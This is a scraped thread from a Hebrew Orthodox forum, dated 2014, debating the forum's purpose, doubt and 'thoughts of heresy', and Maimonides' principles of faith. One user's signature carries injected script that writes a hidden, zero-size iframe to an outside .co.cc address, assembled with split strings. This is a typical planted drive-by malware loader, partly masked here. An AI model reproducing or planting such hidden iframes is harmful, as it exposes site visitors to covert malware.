הם כן משעבדים את האנשים לכסף, הם לוקחים בכוח את המיסים לעובדי החברה,
מכאן כל המהפיכות החברתיות מאז נמרוד עד ימינו אנו,

עוד דרשות חז"לים מעניינים,
שנער = שריה נערים, כלומר השרים של החברה הזו הם נערים,
שנער = שריה מתים נערים, כלומר רציחות פוליטיות,

חז"ל עמוק ביותר: במדרש ההלכה,

(ספרי דברים פרשת האזינו פיסקא שלב) מראש פרעות אויב, כשהקדוש ברוך הוא מביא פורענות על אומות אין מביא עליהם שלהם לבדם אלא שלהם ושל אבותיהם מנמרוד ואילך, כשמביא טובות על ישראל מביא עליהם שלהם ושל אבותיהם מאברהם ואילך.

(לא לחינם חז"ל רואים את נמרוד כסמל של סוג החברה באומות, ואת אברהם כסמל של החברה הטבעית)

כלומר, כל הפורענויות החברתיות (ומכאן הפורענויות של הטבע מחוסר מדע כנ"ל המבול וחוסר תרופות למחלות וכו' וכו') בכל שנות ההיסטוריה, והעבדות החברתית לחברה ולכסף, כל אלה מתחיל מהמצאת האימפריה של נמרוד, כלומר הם סובלים לא רק את עוונם רק עון אבותיהם מאז נמרוד,
כי הם לא יכולים להשתחרר מחוקיה של נמרוד, במילא הם סובלים מאז עד ימינו,

אבל שאלוקים מביא טובות לבני ישראל ?! הוא מביא את כל הטוב לא רק שלהם רק מי אברהם ואילך,
ואנו רואים זאת במציאות,
השרידות הטבעים של צאצאי אברהם נמשכים לעולמים ולנצח, הכל בזכות ברית המילה ובזכות מצוות ישוב ארץ ישראל,

בכדי לשמר את ישוב בני ישראל בארצו לנצח ?! צריך לבטל את החברה וחוקיה של נמרוד, ולחזור לחוקי החברה של התורה,
ואז נזכה לכל הטוב שהבטיחו לנו הנביאים,
אמן ואמן,,,,,,,,,,,,,,,,,,,,

שבוע טוב לכולם,
max 




דדווח על תוכן פוגעני

מנותק
נשלח ב-18/7/2014 03:03 לינק ישיר 

מוטיהו

ברוך הבא אל הפורום!

לצערי לא שמתי לב שאתה כותב חדש ופתחת אשכול חדש ממש. חשבתי שזה אשכול ישן שהוקפץ (=מישהו כתב תגובה באשכול ישן נושן וזה מעלה אותו לעמוד הראשון).

נראה שהצלחת לעורר תגובות רבות. וזה קצת מוזר לדעתי, מפני שעדיין לא הצלחתי להבין מה השאלה שלך.

אנסה להסביר מה מובן לי ומה לא.

***
מהי מטרת הפורום?

המטרה המוצהרת של הפורום היא מה שכתוב בחוקה שלו (אשכול למשתתפים חדשים) שהיית אמור לקרוא עם קבלת אישור קריאה. והיא לאפשר דיון בנושאים של מפגש (או סתירה) בין דת ויהדות מכאן לבין מדע ופילוסופיה מכאן. והכל בהתאם לכללי דרך ארץ. מותר לומר כל דבר, בכל תחום שהוא מעניני הפורום (אבל לא מה שמחוץ לו), וצריך לנמק.

בפועל, מה שנכתב בפורום נקבע על ידי המשתתפים שלו. יש משתתפים קבועים שאת חלקם אתה מכיר: מיכי (ד"ר מיכאל אברהם), ירוחם, מקסמן, אמשלום - ואורחים מזדמנים, ואלו שהיו ומגיעים לפעמים, כמו דה וינצ'י (ברוך השב!).

כל אחד מבטא את דעותיו, ועל מנת כן הוקם הפורום. ממילא אם לאדם יש שאלה, או טענה, הוא יציג אותה. ואם לא יהיה מי שיענה לו, האשכול שפתח יסתיים לכאורה בנצחון בויכוח, אם נצחון בויכוח בהעדר תגובה הוא באמת נצחון.

כפי שהעירו כאן, וכפי שאני כותב בעצמי, כל מי שמגיע מתוך ידיעה המאפשרת לו לפרש ולמצוא את המשותף בין היהדות לבין חשיבה רציונלית (שאינה שוללת שום דבר עקרונית, חוץ מסתירות, גם לא שהר סיני ריחף באויר, אם זה נכון היסטורית ואם מישהו אמר שזה קרה בהיסטוריה) - כל אחד כזה רק יועיל. אתה מוזמן למלא את התפקיד הזה אם זה בידך.

***
שאלת

האם תורה יש כאן?

כדי לענות צריך להגדיר מהי תורה. גם בתלמוד יש דיון על מה מברכים ברכת התורה. אבל תנוח דעתך, יש אשכולות שאסור לדעתי לעיין בהם בלי לברך קודם ברכת התורה (אלא אם כן נניח שאין חובה לברך לפני מחשבה בדברי תורה, רק על דיבור צריך לברך קודם).

***
שאלת

האם יש בית מדרש אמיתי שהיה נותן לדיבורים כמו שיש כאן להיאמר בין כתליו?

שוב: מה זה "בית מדרש"? אני סבור שמיכי צודק. שבית מדרש ראוי שיאפשר דיון בכל נושא, ואם לא, אזי הוא פונה רק לילדים וקלי דעת שאינם מסוגלים לשאת כל שאלה. וכמובן יש מקום גם לבתי מדרש כאלו. אבל האם הם ורק הם "בית מדרש אמיתי"?

עוד נקודה שאולי לא מספיק ברורה: יש להבדיל, גם בבית מדרש אמיתי, בין שאלה או הצעה לדיון לבין מסקנה. מותר בבית מדרש לשאול כל שאלה מסוג "מנלן" (=איך אנו יודעים שכך וכך אמיתי ומהיכן למדנו זאת). מותר ואף רצוי בכל בית מדרש לשאול על סתירות, ואפילו מותר להציע סתירה בין המסורת לבין המציאות. ולפעמים אפילו המסקנה תהיה שבעל המימרה מן המסורת טעה. זה לא קורה הרבה בתלמוד, שמישהו נתפס בטעות, אבל יש (אותו מאן דאמר שטען שלעוף אין ריאות, אי שם בחולין, ואם היה לי זמן לחפש בתקליטור, הייתי מציין לך מראה מקום מדוייק).

הבדל נוסף בין בית מדרש "אמיתי" לזה שלנו - הנה, מה שביקשת אולי? לכאן מגיעים, ולכאן מותר להם להגיע, גם כאלו שאינם מחוייבים (עדיין) לשמירת מצוות. יש לנו מכל הסוגים. והיפה הוא שכולם שותפים בדיאלוג, כפי שכתבה אחת מן המשתתפות היקרות ביותר שלנו, אמשלום. (ואל תחשוב שאין לי דיסוננס פנימי בשל השבחים שאני מעטיר עליה. אבל איני יכול להתעלם ממעלותיה, ואני לומד ממנה מה שיש לי ללמוד).

***
ועתה, הרשה נא לי למתוח ביקורת על דברים שכתבת. או לפחות להתבטא בנוסח שנשמע ביקורתי, ואני מייחל לסבלנותך.

כתבת:

אני יודע שגדולי החכמים כאן יגדירו אחרת כפירה וימצאו מילים מפוצצות כדרכם בקודש להסביר את גישתם

זה משפט מעליב. החכמים שכאן (נניח מיכי) נזהרים מאד לא להשתמש במילים מפוצצות, לפחות לא בלי להסבירן. ואם משתמע מדבריך שהם משחקים במשחקים לוגיים ולשוניים ובלבד להצדיק את עמדתם, הרי זה לא נכון. צא וראה.

עוד כתבת

רציתי לומר שלי באופן אישי מלבד הרהורי כפירה לא יוצא מאומה מהפורום

זה באמת וידוי אישי עצוב מאד.

אמנם כמה נקודות שאולי יעזרו לך.

מה שנכון לגביך לא בהכרח נכון לגבי כל אדם אחר.

שאלה חשובה מאד היא מה נקרא כפירה. בהמשך דבריך נתת דוגמאות למה שהוא כנראה בעיניך אמונות המחייבות את היהודי שומר המצוות. אמנם דוגמאות אלו הן לדעתי מוקצנות ויוצאות דופן, ובוודאי שאין הצדקה להציגן כמחייבות כאשר אינן כאלו. למשל, זה שעם ישראל חצו (את ים סוף? הירדן גם כן) בשנים עשר שבילין. זה סוף סוף לא כתוב במקרא. זה מדרש. ומדרש יכול להיות סיפור היסטורי ויכול להיות מעשיה שבאה להעביר מסר. ואם זה לא ברור מסברה, אזי בא חברנו האהוב דה וינצ'י וציין לך מקור שאומר זאת, מקור מכובד, הוא הרמב"ן (אם כי זה שהדברים נאמרו בויכוח פומבי עם נציג הנצרות יכול לאפשר לטעון שהוא לא התכוון באמת...).

נוסף לכל אלו יש לי אבחנה חשובה, שאכתוב בפני עצמה בגלל חשיבותה.


_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-18/7/2014 03:06 לינק ישיר 

ההערה החשובה שלי היא לגבי מה שכינית "הרהורי כפירה".

חשוב מאד להבדיל בין שני סוגים של מחשבות.

יש מחשבה שבה אדם מהפך בדעתו בשאלה. כל עוד זו שאלה ולא הכרעה או בירור, או אמונה, אז הוא במצב של לימוד, ספק, פקפוק. אבל אין הוא שייך לציבור המאמינים או השוללים. הוא שייך לציבור המסתפקים, המעיינים, הלומדים.

לכן מי שמציג שאלה - גם כזו שעלתה לו בעיון בפורום - גם כזו שמקשה על מה שאמור להיות עיקר אמונה - הוא עדיין לומד (או מסופק).

וספק אינו עבירה.

נכון שאפשר למצוא ברמב"ם ביטוי השולל את מה שכתבתי. אבל בדבר זה (ואחרים) איני מסכים עם הרמב"ם. כפי שציין לך (דה וינצ'י?) הרב קוק מראה כי דווקא התקדמות והבנה יכולות לעורר שאלות שאצל אחרים נחשבות כאפיקורסות וכפירה, ובעצם הן זיכוך האמונה והתקדמות בה.

לפיכך, אם יש לך "הרהורי כפירה" כלשונך, אולי אלו ספקות שראוי להסתפק ואולי אלו שאלות שראוי לשאול. והדרך לענות עליהן היא בדיוק לפי המילה הזו: ללמוד את התשובות. לטפל בהן בעיון ולא לברוח מהן כדבר עבירה.

_____תוקנה טעות ניסוח____________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



תוקן על ידי מיימוני ב- 18/07/2014 03:09:23




דדווח על תוכן פוגעני

מנותק
נשלח ב-18/7/2014 03:08 לינק ישיר 

ועדיין למוטיהו -

אם תרצה להביא דוגמאות על ידי לינקים וציטוטים של אמירות שגרמו לך הרהורי כפירה, זה יעזור להמשך הדיון באופן מעשי.

***
למינגית

יפה כתבת! איקון ירוק!

(וכן לרבים מחברנו, במיוחד דה וינצ'י, ואיקון ירוק למיכי על הכתיבה שתמיד יכולה לעורר חיוך ובשעות אחרות גורמת לילדים לשאול למה אבא צוחק ליד המחשב).

***
גושניק

ברוך הבא לפורום גם אתה! כמדומה שלא יצא לנו להיפגש - וירטאולית, באשכול - כדי לקדמך כיאות אז הנה ההזדמנות להשלים.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-18/7/2014 04:05 לינק ישיר 

Motiahu כתב:
אולי אשאל בנוסח אחר לימדונו חזל- גדול תלמוד שמביא לידי מעשה הלומד ואינו מקיים נח לו שנהפכה שלייתו על פניו נכון? אם כן האם הדיונים כאן הביאו מישהו לידי מעשה? או שמא בדרך כלל הביאו לידי אי מעשה?


אתה יוצא מנקודת הנחה שכל מה שבא בדפוס בשם חכמים וגדולים נמסר מפי הגבורה.
עירור על דבר מדבריהם נראה בעינך ככפירה.
תשנה את הגדרת היסוד, תראה איך 'הרהורי הכפירה' מתמעטים לכדי אחוזים בודדדים

הייתי ממליץ לך ללמוד היטב את הקדמת הרמב"ם לפרק חלק, לדעתו הכופר ביג עיקרים הוא הוא הכופר... לא זכור לי שתופעות על טבעיות כלולות שם. אע"פ שאני לא שולל תופעות כאלה, אני פשוט לא יודע מעולם לא ראיתי, יתכן שקיימות, ויתכן שלא.

אתה מקשר ניסים עם תופעות על טבעיות, אין קשר בין השניים, ע' אגרת תחיית המתים לרמב"ם, שכתב שכל מה שאפשר למעט מהאמירה שהדבר 'נס הוא', עדיף, ועדיף תמיד לתלות הדברים בדרך הטבע.  
תופעה על טבעית אינה קשורה עם ניסים. לדעתי, נס= יציאה חד פעמית מדרך הטבע ע"י השגחה עליונה. תופעה על טיבעית=העולם בנוי באופן כזה שתמיד קיימים מימדים מעבר לראות עייננו, אין קשר בין הדברים.
 
ראוי לציין שהרמב"ם כתב יג' עיקרים אבל יש שחלקו עליו [ספר העיקרים] 

הרמב"ם היה מגדולי הדורת אבל עדיין לא נביא, אם נוכל להוכיח כראוי שטעה אין אנו מחויבים לדבריו, א"כ ע"י התבוננות נכונה אפשר לצמצם את אחוזי הכפירה בעוד כמה אחוזים.

לעצם עניין,  אמונה באה כשיש כנגדה ידיעת הכפירה, והשלילה שלה ע"י ראיות שכליות, אם לא תדע כפירה מהי, כיצד תדע מהי אמונה [אמונה יהודית = 'עתעדקאת' בערבית ידיעת המושגים על בוריים, הר' קאפח]. בלא ידיעת הכפירה תהיה ככבש תמים המקבל כלמה שמלעיטים אותו,
האם לשלמות כזו כיוון אלוהיך [שלך] ?

וא"כ האם אתה מוכן לקבל על עצמך להיות כככבש רק משום שנולדת במגזר שמאמין באמונה שהוא פיתח לעצמו?

תהיה בטוח שגם גדולי הדורות שלמדו עניני אמונה פילוסופיה וכדומה עלו במוחם הרהורי כפירה [אני מאמין שהיו מבניהם גם כופרים, רק שלא כולם גילו לנו את מסתרי ליבם, אל תשכח שגם הם בני אדם...] אבל המטרה הייתה בירור האמת

ומה לגבי ציווי המשנה 'דע מה שתשיב לאפיקורוס'

נראה שהפירוש הנכון לאפיקורוס שחי בך בלבבך, לו אתה צריך ומחוייב להשיב תשובה ניצחת 

תוקן על ידי גברארבה ב- 18/07/2014 04:15:25




דדווח על תוכן פוגעני

מחובר
נשלח ב-18/7/2014 08:28 לינק ישיר 

 סתם הערה צדדית
מיימוני "אני יודע שגדולי החכמים כאן יגדירו אחרת כפירה וימצאו מילים מפוצצות כדרכם בקודש להסביר את גישתם"

זה משפט מעליב.   עכ"ד


אולי. אבל נכתבו כאן על מגזר שלם השמצות מפורשות, שגם אם יש בהן משהו הן בהחלט עונות לקריטריון "של משפט מעליב", אבל כדרכו של פורום יש מי שכשר לספוג עלבונות
תוקן הנוסח מעט


תוקן על ידי תלמידטועה ב- 18/07/2014 08:46:57




דדווח על תוכן פוגעני

מחובר
נשלח ב-18/7/2014 08:36 לינק ישיר 

הרב מיימוני

האין הפירוש הרווח של "ולא תתורו" - שלא להתעסק עם "הרהורי כפירה" כלל?

(מלשון "לתור את הארץ, היש בה עץ אם אין")



דדווח על תוכן פוגעני

מחובר
נשלח ב-18/7/2014 08:42 לינק ישיר 

כן אבל בהנחה שה' אינו חפץ בשקר יש לבדוק מהי האמת



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > מהי מטרת הפורום
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 3 ... 12 13 14 ... 25 26 27 לדף הבא סך הכל 27 דפים.

bholext
2009 © כל הזכויות שמורות לבחדרי חרדים. קטגוריית אקטואליה וחדשות: עשרות פורומים הכוללים חדשות נעייס, מה קורה בחצרות חסידים, חדשות מחסידויות שונות בארץ ובעולם, דיונים בנושאי אקטואליה, פוליטיקה, בטחון ועוד.